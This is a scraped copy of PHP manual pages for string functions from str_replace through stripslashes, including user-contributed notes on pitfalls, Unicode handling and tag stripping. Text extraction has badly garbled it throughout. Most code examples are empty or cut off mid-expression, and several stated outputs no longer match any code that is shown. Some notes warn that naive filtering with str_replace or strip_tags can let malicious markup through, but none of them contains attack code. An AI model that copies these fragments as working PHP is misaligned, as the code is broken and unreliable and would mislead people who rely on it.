$healthy = array("fruits", "vegetables", "fiber"); $yummy = array("pizza", "beer", "ice cream"); $newphrase = str_replace($healthy, $yummy, $phrase); // Provides: 2 $str = str_replace("ll", "", "good golly miss molly!", $count); echo $count; ?> < Example #2 Examples of potential str_replace() gotchas > '; // Processes \r\n's first so they aren't converted twice. $newstr = str_replace($order, $replace, $str); // Outputs F because A is replaced with B, then B is replaced with C, and so on... // Finally E is replaced with F, because of left to right replacements. $search = array('A', 'B', 'C', 'D', 'E'); $replace = array('B', 'C', 'D', 'E', 'F'); $subject = 'A'; echo str_replace($search, $replace, $subject); // Outputs: apearpearle pear // For the same reason mentioned above $letters = array('a', 'p'); $fruit = array('apple', 'pear'); $text = 'a p'; $output = str_replace($letters, $fruit, $text); echo $output; ?> < Notes~ Note: This function is binary-safe. Caution Replacement order gotcha Because str_replace() replaces left to right, it might replace a previously inserted value when doing multiple replacements. See also the examples in this document. Note: This function is case-sensitive. Use str_ireplace() for case-insensitive replace. See Also~ |str_ireplace|() - Case-insensitive version of str_replace. |substr_replace|() - Replace text within a portion of a string |preg_replace|() - Perform a regular expression search and replace |strtr|() - Translate characters or replace substrings User Contributed Notes 42 notes 141 nikolaz dot tang at hotmail dot com ¶6 years ago~ A faster way to replace the strings in multidimensional array is to json_encode() it, do the str_replace() and then json_decode() it, like this: > < This method is almost 3x faster (in 10000 runs.) than using recursive calling and looping method, and 10x simpler in coding. Compared to: > < 33 Wes Foster ¶7 years ago~ Feel free to optimize this using the while/for or anything else, but this is a bit of code that allows you to replace strings found in an associative array. For example: > 'cat', 'apple' => 'orange' 'chevy' => 'ford' ); $string = 'I like to eat an apple with my dog in my chevy'; echo str_replace_assoc($replace,$string); // Echo: I like to eat an orange with my cat in my ford ?> < Here is the function: > < [Jun 1st, 2010 - EDIT BY thiago AT php DOT net: Function has been replaced with an updated version sent by ljelinek AT gmail DOT com] 23 Alberto Lepe ¶7 years ago~ Be careful when replacing characters (or repeated patterns in the FROM and TO arrays): For example: > < I would expect as result: "ZDDB" However, this return: "ZDDD" (Because B = D according to our array) To make this work, use "strtr" instead: > "A","2" => "B","3" => "C","B" => "D"); $word = "ZBB2"; echo strtr($word,$arr); ?> < This returns: "ZDDB" 10 mrrehbein at gmail dot com ¶1 year ago~ nikolaz dot tang at hotmail dot com's solution of using json_encode/decode is interesting, but a couple of issues to be aware of with it. > < json_decode will return objects, where arrays are probably expected. This is easily remedied by adding 2nd parameter 'true' to json_decode. $search and $replace could contain strings that match json encoding, which will either change the structure returned by this method, or break the json. ie: > 'stuff'])); var_dump(str_replace_json('this":"', 'this" : "thing", "with":"', ['this' => 'stuff'])); ?> < 26 moostende at gmail dot com ¶5 years ago~ Note that this does not replace strings that become part of replacement strings. This may be a problem when you want to remove multiple instances of the same repetative pattern, several times in a row. If you want to remove all dashes but one from the string '-aaa----b-c-----d--e---f' resulting in '-aaa-b-c-d-e-f', you cannot use str_replace. Instead, use preg_replace: > '; echo preg_replace('/--+/', '-', $challenge).'
    '; ?> < This outputs the following: -aaa--b-c---d-e--f -aaa-b-c-d-e-f 10 David Holt ¶1 year ago~ Be aware that if you use this for filtering & sanitizing some form of user input, or remove ALL instances of a string, there's another gotcha to watch out for: // Remove all double characters $string="1001011010"; $string=str_replace(array("11","00"),"",$string); // Output: "110010" $string="ml> Malicious code html> etc"; $string=str_replace(array("",""),"",$string); // Output: " Malicious code etc" up down 13 jay_knows_(all)uk at hotmail dot com ¶6 years ago This strips out horrible MS word characters. Just keep fine tuning it until you get what you need, you'll see ive commented some out which caused problems for me. There could be some that need adding in, but its a start to anyone who wishes to make their own custom function. > ', $str); // right single guillemet // $str = str_replace(chr(156), 'oe', $str); // oe ligature $str = str_replace(chr(159), 'Y', $str); // Y Dieresis $str = str_replace('°C', '°C', $str); // Celcius is used quite a lot so it makes sense to add this in $str = str_replace('£', '£', $str); $str = str_replace("'", "'", $str); $str = str_replace('"', '"', $str); $str = str_replace('–', '–', $str); return $str; } ?> < 8 pjcdawkins at googlemail dot com ¶6 years ago~ Here's a deep replace function allowing multi-dimensional arrays in $search, $replace and $subject. The keys and other structure of $subject are preserved. > < -------------------------------------------------------------------------------- *str_rot13* +-----------+~ | str_rot13 |~ +-----------+~ (PHP 4 >= 4.2.0, PHP 5, PHP 7) str_rot13 — Perform the rot13 transform on a string Description~ > string str_rot13 ( string $str ) < Performs the ROT13 encoding on the str argument and returns the resulting string. The ROT13 encoding simply shifts every letter by 13 places in the alphabet while leaving non-alpha characters untouched. Encoding and decoding are done by the same function, passing an encoded string as argument will return the original version. Parameters~ str ----- The input string. Return Values~ Returns the ROT13 version of the given string. Examples~ Example #1 str_rot13() example > < User Contributed Notes 10 notes 17 shaun ¶5 years ago~ I was reminded again of the desire for a generic str_rot function. Character manipulation loops in PHP are slow compared to their C counterparts, so here's a tuned version of the previous function I posted. It's 1.6 times as fast, mainly by avoiding chr() calls. > = 'a' && $c <= 'z') { $s[$i] = $letters[(ord($c) - 71 + $n) % 26]; } else if ($c >= 'A' && $c <= 'Z') { $s[$i] = $letters[(ord($c) - 39 + $n) % 26 + 26]; } } return $s; } ?> < But using strtr() you can get something 10 times as fast as the above : > < This technique is faster because PHP's strtr is implemented in C using a byte lookup table (it has O(m + n) complexity). However, PHP 6 will use Unicode, so I guess(?) strtr will then have to be implemented with a search for each character (O(m * n)). Using strtr might still be faster since it offloads the character manipulation to C rather than PHP, but I don't really know. Take your pick. Happy coding! (Benchmark code): > < 6 peter at NOSPAM jamit dot com ¶7 years ago~ This ROT13 variant is different from my earlier version in that it retains 'ethnicity'. For example, a Chinese text when encrypted will remain Chinese, and the string will not be making sense (the real meaning will be encrypted). Just look at the code and you will understand. > 0; ) { $array[] = mb_substr($string, 0, 1, $encoding); $string = mb_substr($string, 1, $strlen, $encoding); $strlen = $strlen - 1; } return $array; } function unicodeRotN($str, $offset, $encoding = 'UTF-8') { $val = ''; $array = mbStringToArray ($str, $encoding = 'UTF-8'); $len = count($array); for ($i = 0; $i < $len; $i++) { $val .= ords2unichar(unichar2ords($array[$i], $encoding) + $offset, $encoding); } return $val; } // example $original = '??????'; // means "China is my home" $encrypted = unicodeRotN($string, 13); // ?????? means "Ñ Ai injustice for the Mission Day" (Google translation) $decrypted = unicodeRotN($encrypted, -13); // ?????? ?> < -------------------------------------------------------------------------------- *str_shuffle* +-------------+~ | str_shuffle |~ +-------------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 7) str_shuffle — Randomly shuffles a string Description~ > string str_shuffle ( string $str ) < str_shuffle() shuffles a string. One permutation of all possible is created. Caution This function does not generate cryptographically secure values, and should not be used for cryptographic purposes. If you need a cryptographically secure value, consider using random_int(), random_bytes(), or openssl_random_pseudo_bytes() instead. Parameters~ str ----- The input string. Return Values~ Returns the shuffled string. Changelog Version Description 7.1.0 The internal randomization algorithm has been changed to use the » Mersenne Twister Random Number Generator instead of the libc rand function. Examples~ Example #1 str_shuffle() example > < See Also~ |shuffle|() - Shuffle an array |rand|() - Generate a random integer 31 jojersztajner at OXYGEN dot POLAND ¶9 years ago~ Aoccdrnig to rseearch at an Elingsh uinervtisy, it deosn't mttaer in waht oredr the ltteers in a wrod are, the olny iprmoatnt tihng is that the frist and lsat ltteer is at the rghit pclae. The rset can be a toatl mses and you can sitll raed it wouthit a porbelm. Tihs is bcuseae we do not raed ervey lteter by it slef but the wrod as a wlohe. Hree's a cdoe taht slerbmcas txet in tihs way: > < It may be ufseul if you wnat to cetare an aessblicce CTCPAHA. -------------------------------------------------------------------------------- *str_split* +-----------+~ | str_split |~ +-----------+~ (PHP 5, PHP 7) str_split — Convert a string to an array Description~ > array str_split ( string $string [, int $split_length = 1 ] ) < Converts a string to an array. Parameters~ string ------ The input string. split_length ------------ Maximum length of the chunk. Return Values~ If the optional split_length parameter is specified, the returned array will be broken down into chunks with each being split_length in length, otherwise each chunk will be one character in length. FALSE is returned if split_length is less than 1. If the split_length length exceeds the length of string, the entire string is returned as the first (and only) array element. Examples~ Example #1 Example uses of str_split() > < The above example will output: Array ( [0] => H [1] => e [2] => l [3] => l [4] => o [5] => [6] => F [7] => r [8] => i [9] => e [10] => n [11] => d ) Array ( [0] => Hel [1] => lo [2] => Fri [3] => end ) Notes Note: str_split() will split into bytes, rather than characters when dealing with a multi-byte encoded string. See Also~ |chunk_split|() - Split a string into smaller chunks |preg_split|() - Split string by a regular expression |explode|() - Split a string by string |count_chars|() - Return information about characters used in a string |str_word_count|() - Return information about words used in a string for User Contributed Notes 38 notes 71 qeremy [atta] gmail [dotta] com ¶5 years ago~ A proper unicode string split; > 0) { $ret = array(); $len = mb_strlen($str, "UTF-8"); for ($i = 0; $i < $len; $i += $l) { $ret[] = mb_substr($str, $i, $l, "UTF-8"); } return $ret; } return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY); } ?> < $s = "Ilik süt"; // Mild milk print_r(str_split($s, 3)); print_r(str_split_unicode($s, 3)); Array ( [0] => Il? [1] => ?k [2] => sü [3] => t ) Array ( [0] => Ili [1] => k s [2] => üt ) -------------------------------------------------------------------------------- *str_word_count* +----------------+~ | str_word_count |~ +----------------+~ (PHP 4 >= 4.3.0, PHP 5, PHP 7) str_word_count — Return information about words used in a string Description~ > mixed str_word_count ( string $string [, int $format = 0 [, string $charlist ]] ) < Counts the number of words inside string. If the optional format is not specified, then the return value will be an integer representing the number of words found. In the event the format is specified, the return value will be an array, content of which is dependent on the format. The possible value for the format and the resultant outputs are listed below. For the purpose of this function, 'word' is defined as a locale dependent string containing alphabetic characters, which also may contain, but not start with "'" and "-" characters. Parameters~ string ------ The string format ------ Specify the return value of this function. The current supported values are: 0 - returns the number of words found 1 - returns an array containing all the words found inside the string 2 - returns an associative array, where the key is the numeric position of the word inside the string and the value is the actual word itself charlist A list of additional characters which will be considered as 'word' Return Values~ Returns an array or an integer, depending on the format chosen. Changelog~ Version Description 5.1.0 Added the charlist parameter Examples~ Example #1 A str_word_count() example > < The above example will output: Array ( [0] => Hello [1] => fri [2] => nd [3] => you're [4] => looking [5] => good [6] => today ) Array ( [0] => Hello [6] => fri [10] => nd [14] => you're [29] => looking [46] => good [51] => today ) Array ( [0] => Hello [1] => fri3nd [2] => you're [3] => looking [4] => good [5] => today ) 7 See Also~ |explode|() - Split a string by string |preg_split|() - Split string by a regular expression |split|() - Split string into array by regular expression |count_chars|() - Return information about characters used in a string |substr_count|() - Count the number of substring occurrences User Contributed Notes 29 notes 19 cito at wikatu dot com ¶5 years ago~ > < 9 splogamurugan at gmail dot com ¶8 years ago~ We can also specify a range of values for charlist. > < will give the result as Array ( [0] => Hello [1] => fri3nd [2] => you're [3] => looking [4] => good [5] => today [6] => look123 [7] => ing ) -------------------------------------------------------------------------------- *strcasecmp* +------------+~ | strcasecmp |~ +------------+~ (PHP 4, PHP 5, PHP 7) strcasecmp — Binary safe case-insensitive string comparison Description~ > int strcasecmp ( string $str1 , string $str2 ) < Binary safe case-insensitive string comparison. Parameters~ str1 ----- The first string str2 ----- The second string Return Values~ Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. Examples~ Example #1 strcasecmp() example > < See Also~ |strcmp|() - Binary safe string comparison |preg_match|() - Perform a regular expression match |substr_compare|() - Binary safe comparison of two strings from an offset, up to length characters |strncasecmp|() - Binary safe case-insensitive string comparison of the first n characters |stristr|() - Case-insensitive strstr |substr|() - Return part of a string User Contributed Notes 3 notes 11 chris at cmbuckley dot co dot uk ¶5 years ago~ A simple multibyte-safe case-insensitive string comparison: > < Caveat: watch out for edge cases like "ß". 10 Anonymous ¶14 years ago~ The sample above is only true on some platforms that only use a simple 'C' locale, where individual bytes are considered as complete characters that are converted to lowercase before being differentiated. Other locales (see LC_COLLATE and LC_ALL) use the difference of collation order of characters, where characters may be groups of bytes taken from the input strings, or simply return -1, 0, or 1 as the collation order is not simply defined by comparing individual characters but by more complex rules. Don't base your code on a specific non null value returned by strcmp() or strcasecmp(): it is not portable. Just consider the sign of the result and be sure to use the correct locale! 8 alvaro at demogracia dot com ¶6 years ago~ Don't forget this is a single-byte function: in Unicode strings it'll provide incoherent results as soon as both strings differ only in case. There doesn't seem to exist a built-in multi-byte alternative so you need to write your own, taking into account both character encoding and collation. -------------------------------------------------------------------------------- *strchr* +--------+~ | strchr |~ +--------+~ (PHP 4, PHP 5, PHP 7) strchr — Alias of strstr() Description~ This function is an alias of: strstr(). User Contributed Notes 2 notes 6 webmaster at lyndonstate dot edu ¶13 years ago~ Alternative Way: To get all the text before the first occurence. ----------------------------------------------- INCLUDING A NEEDLE: $string1 = "I need cookies & soda."; $needle = "cookies"; //find length of the needle $needle_len = strlen($needle); //find postion $position_num = strpos($string1,$needle) + $needle_len; //cut the string $result_string = substr("$string1",0,$position_num); //display it echo"$result_string"; // I need cookies ----------------------------------------------- SHORTER VERSION: $result_string = substr("$string1",0,strpos($string1,$needle)+strlen($needle)); echo"$result_string";//I need cookies ----------------------------------------------- EXCLUDING THE NEEDLE: $result_string = substr("$string1",0,strpos($string1,$needle)); echo"$result_string";// I need ----------------------------------------------- FREE EMAIL JUNK? This is probably useful for processing emails. For example, someone sends email to your server from Yahoo account. Free email always comes with wasted stuff like... "Do you Yahoo!? The New Yahoo! Shopping - with improved product search ". We can delete the phrase like this: $needle="Do you Yahoo!?"; $result_string = substr("$emailstring",0,strpos($emailstring, $needle)); -------------------------------------------------------------------------------- *strcmp* +--------+~ | strcmp |~ +--------+~ (PHP 4, PHP 5, PHP 7) strcmp — Binary safe string comparison Description~ > int strcmp ( string $str1 , string $str2 ) < Note that this comparison is case sensitive. Parameters~ str1 ----- The first string. str2 ----- The second string. Return Values~ Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. Examples~ Example #1 strcmp() example > < See Also~ |strcasecmp|() - Binary safe case-insensitive string comparison |preg_match|() - Perform a regular expression match |substr_compare|() - Binary safe comparison of two strings from an offset, up to length characters |strncmp|() - Binary safe string comparison of the first n characters |strstr|() - Find the first occurrence of a string |substr|() - Return part of a string User Contributed Notes 23 notes 43 jendoj at gmail dot com ¶4 years ago~ If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable. For instance you may get an unexpected 0, or return values of NULL, -2, 2, 3 and -3. strcmp("5", 5) => 0 strcmp("15", 0xf) => 0 strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0 strcmp(NULL, false) => 0 strcmp(NULL, "") => 0 strcmp(NULL, 0) => -1 strcmp(false, -1) => -2 strcmp("15", NULL) => 2 strcmp(NULL, "foo") => -3 strcmp("foo", NULL) => 3 strcmp("foo", false) => 3 strcmp("foo", 0) => 1 strcmp("foo", 5) => 1 strcmp("foo", array()) => NULL + PHP Warning strcmp("foo", new stdClass) => NULL + PHP Warning strcmp(function(){}, "") => NULL + PHP Warning 22 Rob Wiesler ¶7 years ago~ One big caveat - strings retrieved from the backtick operation may be zero terminated (C-style), and therefore will not be equal to the non-zero terminated strings (roughly Pascal-style) normal in PHP. The workaround is to surround every `` pair or shell_exec() function with the trim() function. This is likely to be an issue with other functions that invoke shells; I haven't bothered to check. On Debian Lenny (and RHEL 5, with minor differences), I get this: ====PHP==== > sz = ".$sz."
    str_split(sz) = "; print_r(str_split($sz)); echo "

    "; echo "Pascal-style string:
    ps = ".$ps."
    str_split(ps) = "; print_r(str_split($ps)); echo "

    "; echo "Normal results of comparison:
    "; echo "sz == ps = ".($sz == $ps ? "true" : "false")."
    "; echo "strcmp(sz,ps) = ".strcmp($sz,$ps); echo "

    "; echo "Comparison with trim()'d zero-terminated string:
    "; echo "trim(sz) = ".trim($sz)."
    "; echo "str_split(trim(sz)) = "; print_r(str_split(trim($sz))); echo "
    "; echo "trim(sz) == ps = ".(trim($sz) == $ps ? "true" : "false")."
    "; echo "strcmp(trim(sz),ps) = ".strcmp(trim($sz),$ps); ?> < ====Output==== Zero-terminated string: sz = /var/www str_split(sz) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w [8] => ) Pascal-style string: ps = /var/www str_split(ps) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w ) Normal results of comparison: sz == ps = false strcmp(sz,ps) = 1 Comparison with trim()'d zero-terminated string: trim(sz) = /var/www str_split(trim(sz)) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w ) trim(sz) == ps = true strcmp(trim(sz),ps) = 0 22 lehal2 at hotmail dot com ¶4 years ago~ i hope this will give you a clear idea how strcmp works internally. > "; $str2 = "t"; echo ord($str2); //116 echo "
    "; echo ord($str1)-ord($str2);//-18 $str1 = "bear"; $str2 = "tear"; $str3 = ""; echo "
    "; 
    	echo strcmp($str1, $str2); // -18 
    	echo "
    "; echo strcmp($str2, $str1); //18 echo "
    "; echo strcmp($str2, $str2); //0 echo "
    "; echo strcmp($str2, $str3); //4 echo "
    "; echo strcmp($str3, $str2); //-4 echo "
    "; echo strcmp($str3, $str3); // 0 echo "
    "; ?> < 10 frewuill at merlin-corp dot com ¶17 years ago~ Hey be sure the string you are comparing has not special characters like '\n' or something like that. 7 hm2k at php dot net ¶6 years ago~ Don't forget the similar_text() function... http://php.net/manual/en/function.similar-text.php 6 hrodicus at gmail dot com ¶6 years ago~ Note a difference between 5.2 and 5.3 versions echo (int)strcmp('pending',array()); will output -1 in PHP 5.2.16 (probably in all versions prior 5.3) but will output 0 in PHP 5.3.3 Of course, you never need to use array as a parameter in string comparisions. -------------------------------------------------------------------------------- *strcoll* +---------+~ | strcoll |~ +---------+~ (PHP 4 >= 4.0.5, PHP 5, PHP 7) strcoll — Locale based string comparison Description~ > int strcoll ( string $str1 , string $str2 ) < Note that this comparison is case sensitive, and unlike strcmp() this function is not binary safe. strcoll() uses the current locale for doing the comparisons. If the current locale is C or POSIX, this function is equivalent to strcmp(). Parameters~ str1 ----- The first string. str2 ----- The second string. Return Values~ Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal. Changelog~ Version Description 4.2.3 This function now works on win32. See Also~ |preg_match|() - Perform a regular expression match |strcmp|() - Binary safe string comparison |strcasecmp|() - Binary safe case-insensitive string comparison |substr|() - Return part of a string |stristr|() - Case-insensitive strstr |strncasecmp|() - Binary safe case-insensitive string comparison of the first n characters |strncmp|() - Binary safe string comparison of the first n characters |strstr|() - Find the first occurrence of a string |setlocale|() - Set locale information -------------------------------------------------------------------------------- *strcspn* +---------+~ | strcspn |~ +---------+~ (PHP 4, PHP 5, PHP 7) strcspn — Find length of initial segment not matching mask Description~ > int strcspn ( string $subject , string $mask [, int $start [, int $length ]] ) < Returns the length of the initial segment of subject which does not contain any of the characters in mask. If start and length are omitted, then all of subject will be examined. If they are included, then the effect will be the same as calling strcspn(substr($subject, $start, $length), $mask) (see substr for more information). Parameters~ subject ------- The string to examine. mask ----- The string containing every disallowed character. start ----- The position in subject to start searching. If start is given and is non-negative, then strcspn() will begin examining subject at the start'th position. For instance, in the string 'abcdef', the character at position 0 is 'a', the character at position 2 is 'c', and so forth. If start is given and is negative, then strcspn() will begin examining subject at the start'th position from the end of subject. length ------ The length of the segment from subject to examine. If length is given and is non-negative, then subject will be examined for length characters after the starting position. If length is given and is negative, then subject will be examined from the starting position up to length characters from the end of subject. Return Values Returns the length of the initial segment of subject which consists entirely of characters not in mask. Note: When a start parameter is set, the returned length is counted starting from this position, not from the beginning of subject. Examples~ Example #1 strcspn() example > < The above example will output: int(0) int(0) int(2) int(2) int(5) int(4) Notes Note: This function is binary-safe. See Also~ |strspn|() - Finds the length of the initial segment of a string consisting entirely of characters contained within a given mask. -------------------------------------------------------------------------------- *strip_tags* +------------+~ | strip_tags |~ +------------+~ (PHP 4, PHP 5, PHP 7) strip_tags — Strip HTML and PHP tags from a string Description~ > string strip_tags ( string $str [, string $allowable_tags ] ) < This function tries to return a string with all NULL bytes, HTML and PHP tags stripped from a given str. It uses the same tag stripping state machine as the fgetss() function. Parameters~ str ----- The input string. allowable_tags -------------- You can use the optional second parameter to specify tags which should not be stripped. Note: HTML comments and PHP tags are also stripped. This is hardcoded and can not be changed with allowable_tags. Note: In PHP 5.3.4 and later, self-closing XHTML tags are ignored and only non-self-closing tags should be used in allowable_tags. For example, to allow both
    and
    , you should use: > '); ?> < Return Values~ Returns the stripped string. Changelog~ Version Description 5.3.4 strip_tags() ignores self-closing XHTML tags in allowable_tags. 5.0.0 strip_tags() is now binary safe. Examples~ Example #1 strip_tags() example > Test paragraph.

    Other text'; echo strip_tags($text); echo "\n"; // Allow

    and echo strip_tags($text, '

    '); ?> < The above example will output: Test paragraph. Other text

    Test paragraph.

    Other text Notes~ Warning Because strip_tags() does not actually validate the HTML, partial or broken tags can result in the removal of more text/data than expected. Warning This function does not modify any attributes on the tags that you allow using allowable_tags, including the style and onmouseover attributes that a mischievous user may abuse when posting text that will be shown to other users. Note: Tag names within the input HTML that are greater than 1023 bytes in length will be treated as though they are invalid, regardless of the allowable_tags parameter. See Also~ |htmlspecialchars|() - Convert special characters to HTML entities User Contributed Notes 13 notes 100 mariusz.tarnaski at wp dot pl ¶8 years ago~ Hi. I made a function that removes the HTML tags along with their contents: Function: > /si', trim($tags), $tags); $tags = array_unique($tags[1]); if(is_array($tags) AND count($tags) > 0) { if($invert == FALSE) { return preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?@si', '', $text); } else { return preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?@si', '', $text); } } elseif($invert == FALSE) { return preg_replace('@<(\w+)\b.*?>.*?@si', '', $text); } return $text; } ?> < Sample text: $text = 'sample text with
    tags
    '; Result for strip_tags($text): sample text with tags Result for strip_tags_content($text): text with Result for strip_tags_content($text, ''): sample text with Result for strip_tags_content($text, '', TRUE); text with
    tags
    I hope that someone is useful :) 43 CEO at CarPool2Camp dot org ¶8 years ago~ Note the different outputs from different versions of the same tag: > Each
    New
    Line'; $new = strip_tags($data, '
    '); var_dump($new); // OUTPUTS string(21) "
    EachNew
    Line" Each
    New
    Line'; $new = strip_tags($data, '
    '); var_dump($new); // OUTPUTS string(16) "Each
    NewLine" Each
    New
    Line'; $new = strip_tags($data, '
    '); var_dump($new); // OUTPUTS string(11) "EachNewLine" ?> < 11 Trititaty ¶1 year ago~ Features: * allowable tags (as in strip_tags), * optional stripping attributes of the allowable tags, * optional comment preserving, * deleting broken and unclosed tags and comments, * optional callback function call for every piece processed allowing for flexible replacements. > |^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // get tag names function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // filter broken ) ); $comments_and_stuff = preg_split( '/(|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE ); foreach ( $comments_and_stuff as $i => $comment_or_stuff ) { if ( $i % 2 ) { // html comment if ( !( $preserve_comments && preg_match( '//', $comment_or_stuff ) ) ) { $comments_and_stuff[$i] = ''; } } else { // stuff between comments $tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE ); foreach ( $tags_and_text as $j => $tag_or_text ) { $is_broken = false; $is_allowable = true; $result = $tag_or_text; if ( $j % 2 ) { // tag if ( preg_match( "%^(\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) { $tag = strtolower( $matches[2] ); if ( in_array( $tag, $allowable_tags ) ) { if ( $strip_attrs ) { $opening = $matches[1]; $closing = ( $opening === '' : $closing; $result = $opening . $tag . $closing; } } else { $is_allowable = false; $result = ''; } } else { $is_broken = true; $result = ''; } } else { // text $tag = false; } if ( !$is_broken && isset( $callback ) ) { // allow result modification call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) ); } $tags_and_text[$j] = $result; } $comments_and_stuff[$i] = implode( '', $tags_and_text ); } } $str = implode( '', $comments_and_stuff ); return $str; } ?> < Callback arguments: * &$result: contains text to be placed insted of original piece (e.g. empty string for forbidden tags), it can be changed; * $tag_or_text: original piece of text or a tag (see below); * $tag: false for text between tags, lowercase tag name for tags; * $is_allowable: boolean telling if a tag isn't allowed (to avoid double checking), always true for text between tags * Callback function isn't called for comments and broken tags. Caution: the function doesn't fully validate tags (the more so HTML itself), it just force strips those obviously broken (in addition to stripping forbidden tags). If you want to get valid tags then use strip_attrs option, though it doesn't guarantee tags are balanced or used in the appropriate context. For complex logic consider using DOM parser. 9 doug at exploittheweb dot com ¶1 year ago "5.3.4 strip_tags() no longer strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags." This is poorly worded. The above seems to be saying that, since 5.3.4, if you don't specify "
    " in allowable_tags then "
    " will not be stripped... but that's not actually what they're trying to say. What it means is, in versions prior to 5.3.4, it "strips self-closing XHTML tags unless the self-closing XHTML tag is also given in allowable_tags", and that since 5.3.4 this is no longer the case. So what reads as "no longer strips self-closing tags (unless the self-closing XHTML tag is also given in allowable_tags)" is actually saying "no longer (strips self-closing tags unless the self-closing XHTML tag is also given in allowable_tags)". i.e. pre-5.3.4: strip_tags('Hello World

    ','
    ') => 'Hello World
    ' // strips
    because it wasn't explicitly specified in allowable_tags 5.3.4 and later: strip_tags('Hello World

    ','
    ') => 'Hello World

    ' // does not strip
    because PHP matches it with
    in allowable_tags 21 bzplan at web dot de ¶4 years ago~ a HTML code like this: >

    color is blue

    size is huge

    material is wood

    '; ?> < with ... the result is: $str = 'color is bluesize is huge material is wood'; notice: the words 'blue' and 'size' grow together :( and line-breaks are still in new string $str if you need a space between the words (and without line-break) use my function: ... the result is: $str = 'color is blue size is huge material is wood'; the function: > ]*>/', ' ', $string); // ----- remove control characters ----- $string = str_replace("\r", '', $string); // --- replace with empty space $string = str_replace("\n", ' ', $string); // --- replace with space $string = str_replace("\t", ' ', $string); // --- replace with space // ----- remove multiple spaces ----- $string = trim(preg_replace('/ {2,}/', ' ', $string)); return $string; } // -------------------------------------------------------------- ?> < the KEY is the regex pattern: '/<[^>]*>/' instead of strip_tags() ... then remove control characters and multiple spaces :) -------------------------------------------------------------------------------- *stripcslashes* +---------------+~ | stripcslashes |~ +---------------+~ (PHP 4, PHP 5, PHP 7) stripcslashes — Un-quote string quoted with addcslashes() Description~ > string stripcslashes ( string $str ) < Returns a string with backslashes stripped off. Recognizes C-like \n, \r ..., octal and hexadecimal representation. Parameters~ str ----- The string to be unescaped. Return Values~ Returns the unescaped string. See Also~ |addcslashes|() - Quote string with slashes in a C style -------------------------------------------------------------------------------- *stripos* +---------+~ | stripos |~ +---------+~ (PHP 5, PHP 7) stripos — Find the position of the first occurrence of a case-insensitive substring in a string Description~ > mixed stripos ( string $haystack , string $needle [, int $offset = 0 ] ) < Find the numeric position of the first occurrence of needle in the haystack string. Unlike the strpos(), stripos() is case-insensitive. Parameters~ haystack -------- The string to search in. needle ------ Note that the needle may be a string of one or more characters. If needle is not a string, it is converted to an integer and applied as the ordinal value of a character. offset ------ If specified, search will start this number of characters counted from the beginning of the string. If the offset is negative, the search will start this number of characters counted from the end of the string. Return Values~ Returns the position of where the needle exists relative to the beginnning of the haystack string (independent of offset). Also note that string positions start at 0, and not 1. Returns FALSE if the needle was not found. Warning This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function. Changelog~ Version Description 7.1.0 Support for negative offsets has been added. Examples~ Example #1 stripos() examples > < Notes Note: This function is binary-safe. See Also~ |mb_stripos|() - Finds position of first occurrence of a string within another, case insensitive |strpos|() - Find the position of the first occurrence of a substring in a string |strrpos|() - Find the position of the last occurrence of a substring in a string |strripos|() - Find the position of the last occurrence of a case-insensitive substring in a string |stristr|() - Case-insensitive strstr |substr|() - Return part of a string |str_ireplace|() - Case-insensitive version of str_replace. User Contributed Notes 6 notes 21 emperorshishire at gmail dot com ¶8 years ago~ I found myself needing to find the first position of multiple needles in one haystack. So I wrote this little function: > int(16) ["dog"]=> int(40) ["."]=> int(43) ["duck"]=> bool(false) } */ ?> < 7 spam at kleppinger dot com ¶2 years ago~ Regarding the function by spam at wikicms dot org It is very bad practice to use the same function name as an existing php function but have a different output format. Someone maintaining the code in the future is likely to be very confused by this. It will also be hard to eradicate from a codebase because the naming is identical so each use of stripos() would have to be analyzed to see how it is expecting the output format (bool or number/bool). Calling it string_found() or something like that would make a lot more sense for long-term use. -------------------------------------------------------------------------------- *stripslashes* +--------------+~ | stripslashes |~ +--------------+~ (PHP 4, PHP 5, PHP 7) stripslashes — Un-quotes a quoted string Description~ > string stripslashes ( string $str ) < Un-quotes a quoted string. Note: If magic_quotes_sybase is on, no backslashes are stripped off but two apostrophes are replaced by one instead. An example use of stripslashes() is when the PHP directive magic_quotes_gpc is on (it was on by default before PHP 5.4), and you aren't inserting this data into a place (such as a database) that requires escaping. For example, if you're simply outputting data straight from an HTML form. Parameters~ str ----- The input string. Return Values~ Returns a string with backslashes stripped off. (\' becomes ' and so on.) Double backslashes (\\) are made into a single backslash (\). Examples~ Example #1 A stripslashes() example > < Note: stripslashes() is not recursive. If you want to apply this function to a multi-dimensional array, you need to use a recursive function. Example #2 Using stripslashes() on an array > < The above example will output: Array ( [0] => f'oo [1] => b'ar [2] => Array ( [0] => fo'o [1] => b'ar ) ) See Also~ |addslashes|() - Quote string with slashes |get_magic_quotes_gpc|() - Gets the current configuration setting of magic_quotes_gpc User Contributed Notes 30 notes 47 ivijan dot stefan at gmail dot com ¶3 years ago~ Sometimes for some reason is happens that PHP or Javascript or some naughty insert a lot of backslash. Ordinary function does not notice that. Therefore, it is necessary that the bit "inflate": > < RESULT: My dog don't like 